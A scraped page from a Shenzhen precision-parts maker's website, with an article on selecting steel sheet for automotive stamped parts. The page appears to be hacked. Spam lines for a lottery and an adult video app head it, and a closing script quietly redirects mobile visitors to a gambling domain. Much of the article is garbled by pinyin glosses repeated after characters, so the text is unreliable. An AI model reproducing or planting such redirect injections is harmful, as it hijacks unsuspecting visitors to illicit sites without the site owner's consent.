900彩票

草莓视频免费下载无限看污app

收藏本站收藏本站 聯系我們聯系我們 網站地圖網站地圖

歡迎光臨深圳市鑫偉科精密科技有限公司官網!

鑫偉科精密

深圳市鑫偉科精密科技有限公司 15年專(zhuan)注精密(mi)零件加工
咨詢熱線 咨詢熱線: 18028783589 0755-27202784

熱門搜索關鍵詞: 機械零部件加工 精密零部件加工 數控車床零件加工 鋁合金零件加工 非標零件定制

500強企業共同選擇

豐田汽車公司

返回列表加入收藏加入收藏 來源:鑫偉科精密 發布(bu)日期(qi)(qi):2020-03-07 01:15:00 |

汽車車身上的的沖壓件大體上分為覆蓋件、梁架件和一般沖壓件。汽車上大量運用了五金沖壓件。五金沖壓工藝適合汽車沖壓件工業多品種、大批量生產的需要。用于冷沖壓的鋼材主要是鋼板和鋼帶,占整車鋼材消耗量的72.6%,冷沖壓材料影響到產品的質量、成本、使用壽命和生產組織,因此合理選用汽車沖壓材料是一個重要的工作。

汽車沖壓件的選材原則 

在選擇汽(qi)車(che)沖(chong)(chong)壓(ya)(ya)件(jian)(jian)材(cai)料(liao)(liao)(liao)時,首(shou)先(xian)根(gen)(gen)據(ju)汽(qi)車(che)沖(chong)(chong)壓(ya)(ya)類(lei)型(xing)和使用特點,來選擇具(ju)有(you)不(bu)同力學性能的(de)金屬材(cai)料(liao)(liao)(liao),通常(chang)(chang)在選擇汽(qi)車(che)沖(chong)(chong)壓(ya)(ya)件(jian)(jian)材(cai)料(liao)(liao)(liao)時應遵(zun)循以下(xia)原則(ze):

a 所選(xuan)材料(liao)要(yao)有(you)較(jiao)好的經(jing)濟性。

b所(suo)選(xuan)材(cai)料(liao)要有較好的工(gong)藝性(xing)能(neng);

c所選(xuan)材(cai)料(liao)首(shou)先應滿(man)足汽車零部件(jian)的(de)使(shi)用(yong)性能要(yao)求;

汽車沖壓件選用材料與其對應性能關系

汽車(che)沖壓(ya)件每(mei)個(ge)具(ju)體的(de)(de)(de)(de)汽車(che)零(ling)部(bu)件承受(shou)(shou)的(de)(de)(de)(de)負(fu)荷(he)不(bu)同,因此對用(yong)材的(de)(de)(de)(de)要求(qiu)也有很大的(de)(de)(de)(de)差異。

1.汽(qi)車(che)車(che)廂零件對材料性能的要求(qiu)

汽車(che)車(che)廂零(ling)件大(da)都采(cai)(cai)用輥壓成(cheng)形工藝,對材(cai)料的(de)成(cheng)形性(xing)、剛(gang)性(xing)、耐(nai)腐蝕性(xing)和焊(han)接(jie)性(xing)都有(you)一定(ding)的(de)要(yao)求一般采(cai)(cai)用強度級別(bie)(bie)為300-600MPa高(gao)強度鋼(gang)板和超細(xi)晶粒鋼(gang)。

2.汽(qi)車駕駛室零部件對材(cai)料性能的要(yao)求

汽(qi)車駕駛室(shi)零部件(jian)受(shou)力不大,采用模具成(cheng)形(xing)(xing)工藝,要(yao)求(qiu)材料具有成(cheng)形(xing)(xing)性(xing)(xing)、張緊剛(gang)性(xing)(xing)、延(yan)(yan)伸(shen)性(xing)(xing)、抗凹(ao)性(xing)(xing)、耐腐(fu)(fu)性(xing)(xing)和(he)(he)焊接(jie)性(xing)(xing)等。產(chan)品設計(ji)(ji)時,一般選用拉延(yan)(yan)性(xing)(xing)能優良的低碳(tan)冷(leng)(leng)(leng)軋(ya)(ya)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、超(chao)(chao)低碳(tan)冷(leng)(leng)(leng)軋(ya)(ya)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、冷(leng)(leng)(leng)軋(ya)(ya)雙相鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、強(qiang)(qiang)(qiang)度(du)更高(gao)(gao)的含(han)磷冷(leng)(leng)(leng)軋(ya)(ya)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、高(gao)(gao)弓(gong)童(tong)度(du)冷(leng)(leng)(leng)軋(ya)(ya)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、烘烤(kao)硬化(hua)冷(leng)(leng)(leng)軋(ya)(ya)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、超(chao)(chao)低碳(tan)鋼(gang)(gang)(gang)(gang)高(gao)(gao)強(qiang)(qiang)(qiang)度(du)冷(leng)(leng)(leng)軋(ya)(ya)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、強(qiang)(qiang)(qiang)度(du)更高(gao)(gao)的含(han)磷冷(leng)(leng)(leng)軋(ya)(ya)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)以及其他(ta)種類(lei)鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)如(ru)(ru)涂鍍層鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)、拼焊鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)和(he)(he)TRIP鋼(gang)(gang)(gang)(gang)板(ban)(ban)(ban)(ban)等。

3.汽(qi)車車架零件對(dui)材料(liao)性能的(de)(de)要(yao)(yao)求

車(che)(che)(che)架、車(che)(che)(che)廂中(zhong)板及(ji)(ji)一(yi)(yi)些重要(yao)的(de)承載(zai)件(jian),大(da)都采(cai)用(yong)沖(chong)(chong)壓模具成(cheng)形(xing)工(gong)藝,要(yao)求材(cai)料(liao)有較(jiao)(jiao)高(gao)(gao)的(de)強(qiang)(qiang)(qiang)度(du)(du)和(he)較(jiao)(jiao)好(hao)的(de)塑性(xing)(xing)(xing),以及(ji)(ji)疲勞耐久性(xing)(xing)(xing)、碰撞能量(liang)吸(xi)收能力(li)和(he)焊(han)接(jie)性(xing)(xing)(xing)等。一(yi)(yi)般選用(yong)成(cheng)形(xing)性(xing)(xing)(xing)能較(jiao)(jiao)好(hao)的(de)高(gao)(gao)強(qiang)(qiang)(qiang)度(du)(du)鋼板、超細晶(jing)粒鋼板(強(qiang)(qiang)(qiang)度(du)(du)級別(bie)在300-610MPa)和(he)超高(gao)(gao)強(qiang)(qiang)(qiang)度(du)(du)板(強(qiang)(qiang)(qiang)度(du)(du)級別(bie)在610-1000MPa)


本文標簽:深圳市鑫偉科精密科技有限公司
微信微信二維碼 地址地址 TOPTOP
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();